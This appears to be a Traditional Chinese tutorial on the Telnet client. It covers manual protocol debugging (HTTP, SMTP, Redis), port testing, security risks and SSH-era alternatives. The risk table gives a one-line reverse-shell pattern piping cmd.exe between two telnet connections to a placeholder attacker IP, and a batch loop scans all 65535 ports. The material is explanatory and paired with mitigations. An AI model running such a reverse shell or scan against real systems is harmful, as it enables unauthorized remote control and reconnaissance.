Telnet 是 TCP/IP 協定族中最早的遠端登入協定 (RFC 854),雖因明文傳輸已被 SSH 取代,但其「原始 TCP 連線」特性,使其成為測試連接埠連通性、除錯文字型協定 (HTTP, SMTP, POP3, IMAP, Redis, Memcached) 的不可替代工具。本文涵蓋互動模式、腳本自動化、連接埠掃描、資安風險與現代替代方案。
C:\> telnet
Microsoft Telnet> open 192.168.1.10 23 # 連線目標 IP:Port (預設 23)
登入: admin
密碼: ********
歡迎來到 Linux Server
$ whoami
root
$ exit
Connection closed.
Microsoft Telnet> quit
| 指令 | 功能 | 範例 |
|---|---|---|
open host [port] | 建立連線 | open 192.168.1.10 23 |
close | 中斷目前連線,返回提示符 | |
quit | 離開 Telnet 用戶端 | |
set 選項 | 設定終端機模式/本地回顯/記錄 | set localecho (開啟本地回顯)、set crlf (換行轉換) |
unset 選項 | 取消設定 | unset localecho |
status | 顯示目前連線狀態 | |
display | 顯示所有設定參數 | |
send 字串 | 發送特定字串 (含控制碼) | send "GET / HTTP/1.0\r\n\r\n" |
? / help | 顯示說明 |
telnet 192.168.1.10 80 # 測試 Web 服務
telnet mail.example.com 25 # 測試 SMTP
telnet 10.0.0.5 3306 # 測試 MySQL
# 成功:畫面清空/顯示服務 Banner (如 220 SMTP Ready)
# 失敗:連線失敗/逾時/被拒絕
優點:應用層驗證、可觀察服務 Banner、不需 ICMP 放行。
telnet www.example.com 80
GET / HTTP/1.1
Host: www.example.com
Connection: close
# 伺服器回應完整 HTTP Header + Body,可檢查:
# - 狀態碼、重導向、快取標頭
# - 壓縮編碼、內容長度
# - Keep-Alive 行為
telnet mail.example.com 25
EHLO client.example.com
MAIL FROM:
RCPT TO:
DATA
Subject: Test
From: test@client.example.com
To: user@example.com
Date: ...
測試郵件內容
.
QUIT
telnet 127.0.0.1 6379
AUTH password
KEYS *
GET mykey
QUIT
@echo off
for /L %%p in (1,1,65535) do (
echo 正在掃描埠 %%p...
echo. | telnet 192.168.1.100 %%p 2>nul | find "Connected" >nul && echo 開放: %%p
)
# 注意:極慢、極易被 IDS 偵測,實務請用 nmap/masscan
| 風險 | 說明 | 緩解措施 |
|---|---|---|
| 明文傳輸 | 帳密、指令、資料全程明文,ARP 欺騙/旁路監聽即可竊取 | 全面禁用 Telnet Server,改用 SSH (Port 22) |
| 無強式認證 | 僅支援密碼認證,易遭暴力破解 | SSH 強制金鑰認證、Fail2ban 防暴力 |
| 資訊洩露 | Banner 洩露 OS 版本、服務版本、模組清單 | 修改 Banner、最小化服務資訊揭露 |
| 反彈 Shell | 攻擊者利用 telnet 攻擊者IP 4444 | cmd.exe | telnet 攻擊者IP 5555 建立互動通道 | 出站防火牆限制、EDR 行為偵測 |
| 需求 | 推薦工具 | 優勢 |
|---|---|---|
| 遠端安全管理 | OpenSSH (Win10+ 內建), PuTTY, MobaXterm, Windows Terminal + SSH | 加密、金鑰認證、SFTP、Port Forwarding、ProxyJump |
| 連接埠測試 | PowerShell Test-NetConnection -Port 80, tnc 別名 | 原生、支援 DNS/TCP/追蹤、物件化輸出 |
| 文字協定除錯 | Netcat (nc), Ncat (Nmap 專案), Socat, OpenSSL s_client | 支援 SSL/TLS、UDP、Proxy、腳本化、十六進位檢視 |
| 自動化測試 | Expect, Pexpect (Python), Netcat 腳本 | 可程式化互動流程、斷言驗證 |
dism /online /Enable-Feature /FeatureName:TelnetClient / /Disable-Feature。Telnet 是「網路萬用表」:雖不宜作為遠端管理介面,但對「TCP 埠是否可達、服務是否回應正確 Banner、文字協定交握細節」的驗證能力無可取代。網管、開發、資安人員應熟練掌握 telnet host port + 手動協定交互,並將伺服器端徹底淘汰改用 SSH。